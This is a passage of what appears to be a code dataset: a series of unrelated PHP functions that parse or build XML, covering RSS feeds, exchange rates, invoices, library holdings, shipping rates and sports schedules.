count($ProductInfoRelease);\n\t\tfor($element=0;$element<$nb_Release;$element++)\n\t\t{\n\t\t\tif($ProductInfoRelease[$element]['ReleaseType']['value']==\"Album\" or $ProductInfoRelease[$element]['ReleaseType']['value']==\"Single\" or $ProductInfoRelease[$element]['ReleaseType']['value']==\"Bundle\" or $ProductInfoRelease[$element]['ReleaseType']['value']==\"ClassicalAlbum\")\n\t\t\t{\n\t\t\t\t$liste_info['album_grid'] = $ProductInfoRelease[$element]['ReleaseId']['GRid']['value'];\n\t\t\t\t$liste_info['globaloriginalreleasedate'] = $ProductInfoRelease[$element]['GlobalOriginalReleaseDate']['value'];\n\t\t\t}\n\t\t}\n\t//************************************************************************************************************\n\n\treturn $liste_info;\n}", "public function on_root_element_end() {\n\n // drop the ids temp table\n backup_controller_dbops::drop_backup_ids_temp_table($this->converter->get_id());\n }", "function xmllist() {\n\t\tglobal $mysql;\n\t\t$result[$this->class_name()] = $mysql->select(\"SELECT * FROM \".$this->class_name, true);\n\t\t$output = XML::get($result);\n\t\treturn xml($output);\n\t}", "public function tipo_cambio(){\n\n $client = new SoapClient(null, array(\n 'location' =>'http://www.banxico.org.mx:80/DgieWSWeb/DgieWS?WSDL',\n 'uri'=>'http://DgieWSWeb/DgieWS?WSDL',\n 'encoding'=> 'UTF-8'\n ));\n\n try {\n\n $result = $client->tiposDeCambioBanxico();\n\n } catch (SoapFault $ex) {\n\n return $this->error($ex->getMessage());\n\n }\n\n if( !$result) {\n\n return false;\n\n }\n\n $dom = new DomDocument();\n $dom->loadXML($result);\n\n $xmlDatos = $dom->getElementsByTagName('Obs');\n\n if( !$xmlDatos->length) {\n\n return false;\n\n }\n\n $itemDolar = $xmlDatos->item(0);\n $itemEuro = $xmlDatos->item(2);\n $itemDolarCanadiense = $xmlDatos->item(3);\n $itemYenCanadiense = $xmlDatos->item(4);\n\n if( !$itemDolar || !$itemDolarCanadiense || !$itemEuro || !$itemYenCanadiense) {\n\n return false;\n\n }\n\n $data = array(\n 'USD' => array(\n 'moneda'=>'USD',\n 'descripcion'=>'Dolar',\n 'time'=>$itemDolar->getAttribute('TIME_PERIOD'),\n 'valor'=>$itemDolar->getAttribute('OBS_VALUE')\n ),\n 'EUR' => array(\n 'moneda'=>'EUR',\n 'descripcion'=>'Euro',\n 'time'=>$itemEuro->getAttribute('TIME_PERIOD'),\n 'valor'=>$itemEuro->getAttribute('OBS_VALUE')\n ),\n 'CAN' => array(\n 'moneda'=>'USD CAN',\n 'descripcion'=>'Dolar Canadiense',\n 'time'=>$itemDolarCanadiense->getAttribute('TIME_PERIOD'),\n 'valor'=>$itemDolarCanadiense->getAttribute('OBS_VALUE')\n ),\n 'YEN' => array(\n 'moneda'=>'YEN CAN',\n 'descripcion'=>'YEN Canadiense',\n 'time'=>$itemYenCanadiense->getAttribute('TIME_PERIOD'),\n 'valor'=>$itemYenCanadiense->getAttribute('OBS_VALUE')\n )\n );\n return $data;\n }", "function lit_rss($fichier,$objets) \n{\n\tif ($chaine = @implode(\"\",@file($fichier)))\n\t{\n\t\t// On découpe la chaine obtenue en items\n\t\t$tmp = preg_split(\"/<\\/?\".\"item\".\">/\",$chaine);\n\n\t\t// Pour chaque item\n\t\tfor($i = 1;$i < sizeof($tmp)-1; $i += 2)\n\n\t\t\t// On lit chaque objet de l'item\n\t\t\tforeach($objets as $objet) \n\t\t\t{\n\t\t\t\t// On découpe la chaine pour obtenir le contenu de l'objet\n\t\t\t\t$tmp2 = preg_split(\"/<\\/?\".$objet.\">/\",$tmp[$i]);\n\n\t\t\t\t// On ajoute le contenu de l'objet au tableau resultat\n\t\t\t\t$resultat[$i-1][] = @$tmp2[1];\n\t\t\t}\n\n\t\t// On retourne le tableau resultat\n\t\treturn $resultat;\n\t}\n}", "public function xml_prase_array(){\n\t\t$str=array();\n\t\n\t\t\t$fg=$this->xml->children(); \n\t\t//echo \t$fg->count().\"dds\";\n\t\t\t//$i=0;\n\t\t\tforeach ($fg[1]->children() as $re=>$fw) {\n\t\t\t\t$ds=array();\n\t\t\t\tforeach ($fw->children() as $fw1) {\n\t\t\t\t $str1=$fw1->getName();\n\t\t\t\t//echo $fw1;\n\t\t\t\t$r=(string)$fw1;\n\t\t\t\t//$ds=array();\n\t\t\t\t$ds[$str1]=$r;\n\t\t\t\t///$this->xml->saveXML();\n\t\t\t\t//print_r($fw1);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$str[$re]=$ds;\n\t\t//$i++;\n\t\t\t}\n\t\t\n\t\t\t$this->xml->saveXML();\n\t\t\n\t\treturn $str;\n\t}", "function InsertFromXML($xml) {\n\n foreach ($xml as $categoria) {\n\n $cat['cod_categoria'] = (string) $categoria->cod_categoria;\n $cat['nombre_cat'] = (string) $categoria->nombre_cat;\n $cat['descripcion'] = (string) $categoria->descripcion;\n $cat['mostrar'] = (string) $categoria->mostrar;\n\n // Inserta categoria\n $categoria_id = $this->Mdl_xml->addCategoria($cat);//Guardamos su id para poder insertar las camisetas en esa categoría\n\n foreach ($categoria->camisetas->camiseta as $camiseta) {\n\n $cam['cod_camiseta'] = (string) $camiseta->cod_camiseta;\n $cam['nombre_cam'] = (string) $camiseta->nombre_cam;\n $cam['precio'] = (string) $camiseta->precio;\n $cam['imagen'] = (string) $camiseta->imagen;\n $cam['iva'] = (string) $camiseta->iva;\n $cam['descuento'] = (string) $camiseta->descuento;\n $cam['descripcion'] = (string) $camiseta->descripcion;\n $cam['seleccionada'] = (string) $camiseta->seleccionada;\n $cam['mostrar'] = (string) $camiseta->mostrar;\n $cam['fecha_inicio'] = (string) $camiseta->fecha_inicio;\n $cam['fecha_fin'] = (string) $camiseta->fecha_fin;\n $cam['stock'] = (string) $camiseta->stock;\n\n $cam['idCategoria'] = $categoria_id;\n // Inserta camiseta\n $this->Mdl_xml->AddCamiseta($cam);\n }\n }\n }", "function retornaAtributos($tabelaProcura){\n # abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n $aRetorno = array();\n # varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n # recupera o nome da tabela e gera o nome da classe\n $nomeTabela = (string)$aTabela['NOME'];\n if($nomeTabela != $tabelaProcura) continue;\n # varre a estrutura dos campos da tabela em questao\n foreach($aTabela as $oCampo){\n # recupera valores a serem substituidos no modelo\n $sFKTabela = (string)$oCampo->FKTABELA;\n if($sFKTabela != ''){\n $nomeClasse = ucfirst($this->getCamelMode($sFKTabela));\n $aRetorno[] = \"\\$o\".$nomeClasse;\n }\n else{\n $aRetorno[] = \"\\$\".(string)$oCampo->NOME;\n }\n }\n break;\n }\n //print_r($aRetorno);\n return $aRetorno;\t\n }", "private function xmlEndElement($parser,$name): void {\r\n\t\tfor($i=0;$i<$this->xmlCount;$i++) {\r\n\t\t\teval($this->xmlSData[$i]);\r\n\t\t\t$this->makeTDHeader( 'xml', 'xmlText' );\r\n\t\t\techo (!empty($this->xmlCData[$i])) ? $this->xmlCData[$i] : '&nbsp;';\r\n\t\t\techo $this->closeTDRow();\r\n\t\t\t$this->makeTDHeader( 'xml', 'xmlComment' );\r\n\t\t\techo (!empty($this->xmlDData[$i])) ? $this->xmlDData[$i] : '&nbsp;';\r\n\t\t\techo $this->closeTDRow();\r\n\t\t\t$this->makeTDHeader( 'xml', 'xmlChildren' );\r\n\t\t\tunset($this->xmlCData[$i],$this->xmlDData[$i]);\r\n\t\t}\r\n\t\techo $this->closeTDRow();\r\n\t\techo '</table>';\r\n\t\t$this->xmlCount=0;\r\n\t}", "function load_itens_single ($sysno) {\n $xml = simplexml_load_file('http://dedalus.usp.br/X?op=item-data&base=USP01&doc_number='.$sysno.'');\n if ($xml->error == \"No associated items\"){\n } else {\n echo \"<h4>Exemplares físicos disponíveis nas Bibliotecas</h4>\";\n echo \"<table class=\\\"uk-table uk-table-hover uk-table-striped uk-table-condensed\\\">\n <thead>\n <tr>\n <th>Biblioteca</th> \n <th>Status</th>\n <th>Número de chamada</th>\";\n if ($xml->item->{'loan-status'} == \"A\"){\n echo \"<th>Status</th>\n <th>Data provável de devolução</th>\";\n } else {\n echo \"<th>Status</th>\";\n }\n echo \"</tr>\n </thead>\n <tbody>\";\n foreach ($xml->item as $item) {\n echo '<tr>';\n echo '<td>'.$item->{'sub-library'}.'</td>';\n echo '<td>'.$item->{'item-status'}.'</td>';\n echo '<td>'.$item->{'call-no-1'}.'</td>';\n if ($item->{'loan-status'} == \"A\"){\n echo '<td>Emprestado</td>';\n echo '<td>'.$item->{'loan-due-date'}.'</td>';\n } else {\n echo '<td>Disponível</td>';\n }\n echo '</tr>';\n }\n echo \"</tbody></table>\";\n echo '<hr>';\n }\n flush();\n }", "function lit_rss($fichier,$champs) {\n // on lit le fichier\n if($chaine = @implode(\"\",@file($fichier))) {\n // on explode sur <item>\n $tmp = preg_split(\"/<\\/?\".\"item\".\">/\",$chaine);\n // pour chaque <item>\n for($i=1;$i<sizeof($tmp)-1;$i+=2)\n // on lit les champs demand? <champ>\n foreach($champs as $champ) {\n $tmp2 = preg_split(\"/<\\/?\".$champ.\">/\",$tmp[$i]);\n // on ajoute au tableau\n $tmp3[$i-1][] = @$tmp2[1];\n }\n // et on retourne le tableau\n return $tmp3;\n }\n}", "function _parserResult($resultXML) {\r\n \t$statusMessage = substr($resultXML, strpos($resultXML, \"<statusMessage>\")+strlen(\"<statusMessage>\"), strpos($resultXML, \"</statusMessage>\")-strlen(\"<statusMessage>\")-strpos($resultXML, \"<statusMessage>\"));\r\n \t//print \"message = $statusMessage\";\r\n\t$cphandling = substr($resultXML, strpos($resultXML, \"<handling>\")+strlen(\"<handling>\"), strpos($resultXML, \"</handling>\")-strlen(\"<handling>\")-strpos($resultXML, \"<handling>\"));\r\n\t$this->handling_cp = $cphandling;\r\n \tif ($statusMessage == 'OK') {\r\n \t\t$strProduct = substr($resultXML, strpos($resultXML, \"<product id=\")+strlen(\"<product id=>\"), strpos($resultXML, \"</product>\")-strlen(\"<product id=>\")-strpos($resultXML, \"<product id=\"));\r\n \t\t$index = 0;\r\n \t\t$aryProducts = false;\r\n \t\twhile (strpos($resultXML, \"</product>\")) {\r\n\t\t\t$cpnumberofboxes = substr_count($resultXML, \"<expediterWeight\");\r\n\t\t\t$this->boxCount = $cpnumberofboxes;\r\n \t\t\t$name = substr($resultXML, strpos($resultXML, \"<name>\")+strlen(\"<name>\"), strpos($resultXML, \"</name>\")-strlen(\"<name>\")-strpos($resultXML, \"<name>\"));\r\n \t\t\t$rate = substr($resultXML, strpos($resultXML, \"<rate>\")+strlen(\"<rate>\"), strpos($resultXML, \"</rate>\")-strlen(\"<rate>\")-strpos($resultXML, \"<rate>\"));\r\n \t\t\t$shippingDate = substr($resultXML, strpos($resultXML, \"<shippingDate>\")+strlen(\"<shippingDate>\"), strpos($resultXML, \"</shippingDate>\")-strlen(\"<shippingDate>\")-strpos($resultXML, \"<shippingDate>\"));\r\n \t\t\t$deliveryDate = substr($resultXML, strpos($resultXML, \"<deliveryDate>\")+strlen(\"<deliveryDate>\"), strpos($resultXML, \"</deliveryDate>\")-strlen(\"<deliveryDate>\")-strpos($resultXML, \"<deliveryDate>\"));\r\n \t\t\t$deliveryDayOfWeek = substr($resultXML, strpos($resultXML, \"<deliveryDayOfWeek>\")+strlen(\"<deliveryDayOfWeek>\"), strpos($resultXML, \"</deliveryDayOfWeek>\")-strlen(\"<deliveryDayOfWeek>\")-strpos($resultXML, \"<deliveryDayOfWeek>\"));\r\n \t\t\t$nextDayAM = substr($resultXML, strpos($resultXML, \"<nextDayAM>\")+strlen(\"<nextDayAM>\"), strpos($resultXML, \"</nextDayAM>\")-strlen(\"<nextDayAM>\")-strpos($resultXML, \"<nextDayAM>\"));\r\n \t\t\t$packingID = substr($resultXML, strpos($resultXML, \"<packingID>\")+strlen(\"<packingID>\"), strpos($resultXML, \"</packingID>\")-strlen(\"<packingID>\")-strpos($resultXML, \"<packingID>\"));\r\n \t\t\t$aryProducts[$index] = array( $name . ', ' . $deliveryDate => $rate);\r\n \t\t\t$index++;\r\n \t\t\t$resultXML = substr($resultXML, strpos($resultXML, \"</product>\") + strlen(\"</product>\"));\r\n \t\t}\r\n \t\treturn $aryProducts;\r\n \t} else {\r\n \t\tif (strpos($resultXML, \"<error>\")) return $statusMessage;\r\n \t\telse return false;\r\n \t}\r\n }", "public function getXML()\n {\n\n\t\t\t\t// Helper-Klasse\n\t\t\t\t$this->WebttHelper = new WebttHelper;\n\t\t\t\t$this->WebttHelperSpielplan = new WebttHelperSpielplan;\n\t\t\t\t$this->WebttHelperHallen = new WebttHelperHallen;\n\n\t\t\t\t// GET-Variable team abfragen\n\t\t\t\t$team = $this->WebttHelper->getTeam();\n\n\t\t\t\n\t\t\t\t// Überprüfen, ob GET-Variable team eine Webtt-Manschaft ist\n\t\t\t\tif ($team === FALSE)\n\t\t\t\t{\n\t\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\n\t\t\t\t// Wenn Aktualisierungsintervall abgelaufen ist, dann aktualisieren\n\t\t\t\tif ($this->WebttHelper->update_test('spielplan') === TRUE)\n\t\t\t\t{\n\t\t\t\t\t\t$update = $this->WebttHelperSpielplan->update($team);\n\t\t\t\t}\n\t\t\t\t\n\n // sql-Query bilden und DB abfragen \n $db = JFactory::getDBO();\n $query = $db->getQuery(true);\n\n $query\n ->select('xml')\n ->from('#__webtt_tabellen')\n\t\t\t\t\t->where(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t'typ='. $db->quote(\"spielplan\"),\n\t\t\t\t\t\t\t\t\t'team='. $db->quote($team))\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t$db->setQuery($query);\n\n\t\t\t\t$results = $db->loadObject();\n\n\t\t\t\t$xml = new SimpleXMLElement($db->loadObject()->xml);\n\t\t\n\t\t\t\t$hallen = $this->WebttHelperHallen->getHallen();\n\t\t\t\tforeach ($xml->ZEILE as $row)\n\t\t\t\t{\n\t\t\t\t\t\t// HALEENINFORMATIONEN IN DEN XML EINFÜGEN\n\t\t\t\t\t\tif ($row->HALLE == \"(1)\" OR $row->HALLE == \"\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$row->HALLE = \"1\";\n\t\t\t\t\t\t\t\tforeach ($hallen as $verein => $array)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (strstr($row->HEIM, $verein))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_TITLE = $hallen[$verein]['halle_1'];\n\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_ADRESSE = $hallen[$verein]['addr_1'];\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if ($row->HALLE == \"(2)\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$row->HALLE = \"2\";\n\t\t\t\t\t\t\t\tforeach ($hallen as $verein => $array)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (strstr($row->HEIM, $verein))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_TITLE = $hallen[$verein]['halle_2'];\n\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_ADRESSE = $hallen[$verein]['addr_2'];\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telse if ($row->HALLE == \"(3)\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$row->HALLE = \"3\";\n\t\t\t\t\t\t\t\tforeach ($hallen as $verein => $array)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (strstr($row->HEIM, $verein))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_TITLE = $hallen[$verein]['halle_3'];\n\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_ADRESSE = $hallen[$verein]['addr_3'];\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($row->HALLE == \"(H)\" OR $row->HALLE == \"H\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$row->HALLE = \"H\";\n\t\t\t\t\t\t\t\tforeach ($hallen as $verein => $array)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (strstr($row->HEIM, $verein))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (stristr($row->HALLE_VERL, \",\"))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$expl = explode(\",\", $row->HALLE_VERL); \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_TITLE = $expl[0];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$row->HALLE_ADRESSE = $expl[count($expl) - 2] . $expl[count($expl) - 1];\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t}\n\n return $xml;\n\n\t\t}", "function end_element($parser, $name) {\r\n if ( $name == 'ITEM' ) {\r\n print '</li>';\r\n } elseif ( $name == 'ITEM' ) {\r\n print '</span>';\r\n } elseif ( in_array($name, $this->showFields) ) {\r\n print ', ';\r\n }\r\n\r\n $this->make_link = false;\r\n }", "function mf_complemento_ecc11($datos)\n{\n global $__mf_namespaces__;\n $__mf_namespaces__['ecc11']['uri'] = 'http://www.sat.gob.mx/EstadoDeCuentaCombustible';\n $__mf_namespaces__['ecc11']['xsd'] = 'http://www.sat.gob.mx/sitio_internet/cfd/EstadoDeCuentaCombustible/ecc11.xsd';\n\n $atrs = mf_atributos_nodo($datos);\n $xml = \"<ecc11:EstadoDeCuentaCombustible Version='1.1' $atrs>\";\n\tif(isset($datos['Conceptos']))\n\t{\n\t\t$atrs = mf_atributos_nodo($datos['Conceptos']);\n\t\t$xml .= \"<ecc11:Conceptos $atrs>\";\n\t\tforeach($datos['Conceptos'] as $idx =>$entidad)\n\t\t{\n\t\t\tif(is_array($datos['Conceptos'][$idx]))\n\t\t\t{\n\t\t\t\t$atrs = mf_atributos_nodo($entidad);\n\t\t\t\t$xml .= \"<ecc11:ConceptoEstadoDeCuentaCombustible $atrs>\";\n\t\t\t\tif(isset($entidad['Traslados']))\n\t\t\t\t{\n\t\t\t\t\t$atrs = mf_atributos_nodo($entidad['Traslados']);\n\t\t\t\t\t$xml .= \"<ecc11:Traslados $atrs>\";\n\t\t\t\t\tforeach($entidad['Traslados'] as $idx2 =>$det)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(is_array($entidad['Traslados'][$idx2]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$atrs = mf_atributos_nodo($det);\n\t\t\t\t\t\t\t$xml .= \"<ecc11:Traslado $atrs/>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$xml .= \"</ecc11:Traslados>\";\n\t\t\t\t}\n\t\t\t\t$xml .= \"</ecc11:ConceptoEstadoDeCuentaCombustible>\";\n\t\t\t}\n\t\t}\n\t\t$xml .= \"</ecc11:Conceptos>\";\n\t}\n\t$xml .= \"</ecc11:EstadoDeCuentaCombustible>\";\n return $xml;\n}", "function getDetalleElementosPlus($nodo_id_filtro, $pagina, $orden = 1, $fecha_inicial, $fecha_termino, $isset,$h1, $m1, $h2, $m2, $cuenta_nodos) {\n\t\tif ($isset != 0) {\n\t\t\tglobal $mdb2;\n\t\t\tglobal $log;\n\t\t\tglobal $current_usuario_id;\n\t\t\tglobal $usr;\n\n\t\t\t/* OBTENER LOS DATOS Y PARSEARLO */\n\t\t\t$sql = \"SELECT * FROM reporte.elementosplus_mediciones_filtro_marcado(\".\n\t\t\tpg_escape_string($current_usuario_id).\",\".\n\t\t\tpg_escape_string($this->objetivo_id).\",\".\n\t\t\tpg_escape_string($nodo_id_filtro).\",\".\n\t\t\t(($this->subgrafico_id==1)?100:12).\", \".\n\t\t\tpg_escape_string($pagina).\", '\".\n\t\t\tpg_escape_string($fecha_inicial).\"', '\".\n\t\t\tpg_escape_string($fecha_termino).\"')\";\n\t\t\t\n\t\t\t$res =& $mdb2->query($sql);\n\t\t\tif (MDB2::isError($res)) {\n\t\t\t\t$log->setError($sql, $res->userinfo);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\t$row = $res->fetchRow();\n\t\t\t$dom = new DomDocument();\n\t\t\t$dom->preserveWhiteSpace = FALSE;\n\t\t\t$dom->loadXML($row['elementosplus_mediciones_filtro_marcado']);\n\t\t\t$xpath = new DOMXpath($dom);\n\t\t\tunset($row[\"elementosplus_mediciones_filtro_marcado\"]);\n\n\t\t\t$mantenimiento = $xpath->query('/atentus/resultados/detalles/detalle')->item(0)->getAttribute('marcado');\n\n\t\t\tif ($mantenimiento == 1) {\n\t\t\t\tif ($cuenta_nodos == 0) {\n\t\t\t\t\treturn $this->__generarContenedorConMantenimiento();\n\t\t\t\t}else{\n\t\t\t\t\treturn \"\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$conf_objetivo = $xpath->query(\"/atentus/resultados/propiedades/objetivos/objetivo\")->item(0);\n\t\t\t$conf_pasos = $xpath->query(\"paso[@visible=1]\", $conf_objetivo);\n\t\t\t$conf_nodo = $xpath->query(\"/atentus/resultados/propiedades/nodos/nodo[@nodo_id=\".$nodo_id_filtro.\"]\")->item(0);\n\t\t\t$tag_mediciones = $xpath->query('//detalles/detalle[@nodo_id='.$nodo_id_filtro.']/detalles/detalle');\n\t\t\t\n\t\t\t/* SI NO HAY DATOS MOSTRAR MENSAJE */\n\t\t\tif ($xpath->query('//datos/dato')->length == 0 and $pagina == 1) {\n\t\t\t\treturn $this->__generarContenedorSinDatos($usr->getNodo($nodo_id_filtro)->nombre);\n\t\t\t}\n\n\t\t\t// TEMPLATE DEL GRAFICO\n\t\t\t$T =& new Template_PHPLIB(($this->extra[\"imprimir\"])?REP_PATH_PRINTTEMPLATES:REP_PATH_TABLETEMPLATES);\n\t\t\t$T->setFile('tpl_tabla', 'elementos_plus_mediciones.tpl');\n\t\t\t$T->setBlock('tpl_tabla', 'BLOQUE_PASOS', 'bloque_pasos');\n\t\t\t$T->setBlock('tpl_tabla', 'BLOQUE_DATOS', 'bloque_datos');\n\n\t\t\t$T->setVar('__item_id', $this->__item_id);\n\t\t\t$T->setVar('__item_id_nuevo', REP_ITEM_ELEMENTOS_PLUS);\n\t\t\t$T->setVar('__item_orden', $this->extra[\"item_orden\"]);\n\n\t\t\t$T->setVar('__monitor_id', $conf_nodo->getAttribute('nodo_id'));\n\t\t\t$T->setVar('__monitor_nombre', $conf_nodo->getAttribute('nombre'));\n\t\t\t$T->setVar('__monitor_orden', $orden);\n\n\t\t\t$linea_monitor = 1;\n\t\t\t$linea = 1;\n\t\t\t$T->setVar('bloque_datos', '');\n\t\t\tforeach ($tag_mediciones as $tag_medicion) {\n\n\t\t\t\t$T->setVar('__class', ($linea_monitor % 2 == 0)?\"celdanegra15\":\"celdanegra10\");\n\t\t\t\t$T->setVar('__fecha', $this->timestamp->getFormatearFecha($tag_medicion->getAttribute('fecha'), \"d-m-Y H:i:s\"));\n\t\t\t\t$T->setVar('__fechaCompleta', $tag_medicion->getAttribute('fecha'));\n\t\t\t\t$T->setVar('__pagina', $pagina);\n\n\t\t\t\t$medicion_error = false;\n\t\t\t\t$T->setVar('bloque_pasos', '');\n\t\t\t\tforeach ($conf_pasos as $conf_paso) {\n\t\t\t\t\t$tag_dato = $xpath->query('datos/dato[@paso_orden='.$conf_paso->getAttribute('paso_orden').']', $tag_medicion)->item(0);\n\n\n\t\t\t\t\tif ($tag_dato == null) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$T->setVar('__print_class', ($linea % 2 == 0)?\"celdaIteracion2\":\"celdaIteracion1\");\n\t\t\t\t\t$T->setVar('__nombrePaso',$conf_paso->getAttribute('nombre'));\n\t\t\t\t\t$T->setVar('__idPaso',$conf_paso->getAttribute('paso_orden'));\n\t\t\t\t\t$T->setVar('__tamanoTotal', number_format(($tag_dato->getAttribute('tamano_total')),0,',','.'));\n\n\t\t\t\t\tif (trim($tag_dato->getAttribute('respuesta')) == '') {\n\t\t\t\t\t\t$T->setVar('__tiempoTotal', 'Error en la descarga');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpreg_match(\"/(?P<hor>\\d{2}):(?P<min>\\d{2}):(?P<seg>\\d{2}).(?P<mseg>\\d+)/\", $tag_dato->getAttribute('respuesta'), $tiempos);\n\t\t\t\t\t\t$seg = ($tiempos[\"hor\"]*3600)+($tiempos[\"min\"]*60)+($tiempos[\"seg\"]);\n\t\t\t\t\t\t$T->setVar('__tiempoTotal', $seg.','.$tiempos[\"mseg\"]);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($tag_dato->getAttribute('estado') == \"false\" && trim($tag_dato->getAttribute('respuesta')) != \"\") {\n\t\t\t\t\t\t$T->setVar('__estadoPaso', 'spriteImg spriteImg-elementos_encontrados');\n\t\t\t\t\t\t$T->setVar('__titlePaso', 'Todos los elementos fueron descargados correctamente en este paso');\n\t\t\t\t\t\t$T->setVar('__textoPaso', 'Elementos OK');\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$T->setVar('__estadoPaso', 'spriteImg spriteImg-elementos_faltantes');\n\t\t\t\t\t\t$T->setVar('__titlePaso', 'Existen elementos que no lograron ser descargados para este paso');\n\t\t\t\t\t\t$T->setVar('__textoPaso', 'Elementos Error');\n\t\t\t\t\t\t$medicion_error = true;\n\t\t\t\t\t}\n\n\t\t\t\t\t$T->parse('bloque_pasos', 'BLOQUE_PASOS', true);\n\t\t\t\t\t$linea++;\n\t\t\t\t}\n\n\t\t\t\tif (!$medicion_error) {\n\t\t\t\t\t$T->setVar('__estado', 'spriteImg spriteImg-elementos_encontrados');\n\t\t\t\t\t$T->setVar('__titleMonitoreo', 'Todos los elementos del monitoreo fueron descargados correctamente');\n\t\t\t\t\t$T->setVar('__textoMonitoreo', 'Elementos OK');\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$T->setVar('__estado', 'spriteImg spriteImg-elementos_faltantes');\n\t\t\t\t\t$T->setVar('__titleMonitoreo', 'Existen elementos que no fueron descargados en este paso');\n\t\t\t\t\t$T->setVar('__textoMonitoreo', 'Elementos Error');\n\t\t\t\t}\n\n\t\t\t\t$T->parse('bloque_datos', 'BLOQUE_DATOS', true);\n\t\t\t\t$linea_monitor++;\n\t\t\t}\n\n\t\t\t/* FORMATO DE PAGINAS */\n\t\t\t$T->setVar('_h1', $h1);\n\t\t\t$T->setVar('_m1', $m1);\n\t\t\t$T->setVar('_h2', $h2);\n\t\t\t$T->setVar('_m2', $m2);\n\t\t\t$T->setVar('__pagina', $pagina);\n\t\t\t$T->setVar('__pagina_atras', $pagina-1);\n\t\t\t$T->setVar('__pagina_adelante', $pagina+1);\n\t\t\t$T->setVar('__disabled_atras', ($pagina==1)?'disabled':'');\n\t\t\t$T->setVar('__disabled_adelante', ($tag_mediciones->length<12)?'disabled':'');\n\t\t\t$T->setVar('__class_boton_atras', ($pagina==1)?'spriteButton spriteButton-atras_desactivado':'spriteButton spriteButton-atras');\n\t\t\t$T->setVar('__class_boton_adelante', ($tag_mediciones->length<12)?'spriteButton spriteButton-adelante_desactivado':'spriteButton spriteButton-adelante');\n\n\t\t\tif ($tag_mediciones->length == 0 and $pagina != 1) {\n\t\t\t\treturn 0;\n\t\t\t}\n\n\t\t\t$this->tiempo_expiracion = (strtotime($xpath->query(\"//fecha_expiracion\")->item(0)->nodeValue) - strtotime($xpath->query(\"//fecha\")->item(0)->nodeValue));\n\n\t\t\treturn $this->resultado = $T->parse('out', 'tpl_tabla');\n\t\t}\n\t}", "abstract public function getDataprotXML();", "private function datiTrasmissioneToXML(){\n\n\t\t$xmlString = '\n\t\t<DatiTrasmissione>\n \t\t<IdTrasmittente>\n \t\t<IdPaese>' . $this->idPaese .'</IdPaese>\n \t\t<IdCodice>' . $this->idCodice . '</IdCodice>\n \t\t</IdTrasmittente>\n \t\t<ProgressivoInvio>' . $this->progressivoInvio . '</ProgressivoInvio>\n \t\t<FormatoTrasmissione>' . $this->formatoTrasmissione . '</FormatoTrasmissione>\n \t\t<CodiceDestinatario>' . $this->codiceDestinatario .'</CodiceDestinatario>';\n \t\tif($this->PECDestinatario)\n \t\t\t$xmlString .= '\n \t\t<PECDestinatario>' . $this->PECDestinatario . '</PECDestinatario>';\n\t \n\t \t\tif(!empty($this->DT_telefono) || !empty($this->DT_email)){\n \t\t\t$xmlString .= \n \t\t'<ContattiTrasmittente>';\n \t\t\tif($this->DT_telefono)\n\t \t\t\t$xmlString .= \n\t \t\t'<Telefono>' . $this->DT_telefono . '</Telefono>';\n \t\t\t\tif($this->DT_email)\n\t \t\t\t$xmlString .= \n\t \t\t'<Email>' . $this->DT_telefono . '</Email>';\n \t\t\t\t$xmlString .= \n \t\t\t'</ContattiTrasmittente>';\n \t\t}\n \t\t$xmlString .= '\n \t</DatiTrasmissione>';\n\n \treturn $xmlString;\n\t}", "function organismes()\n\t{\n\t\tglobal $gCms;\n\t\t$ping = cms_utils::get_module('Ping'); \n\t\t$db = cmsms()->GetDb();\n\t\t$designation = '';\n\t\t$tableau = array('F','Z','L','D');\n\t\t//on instancie la 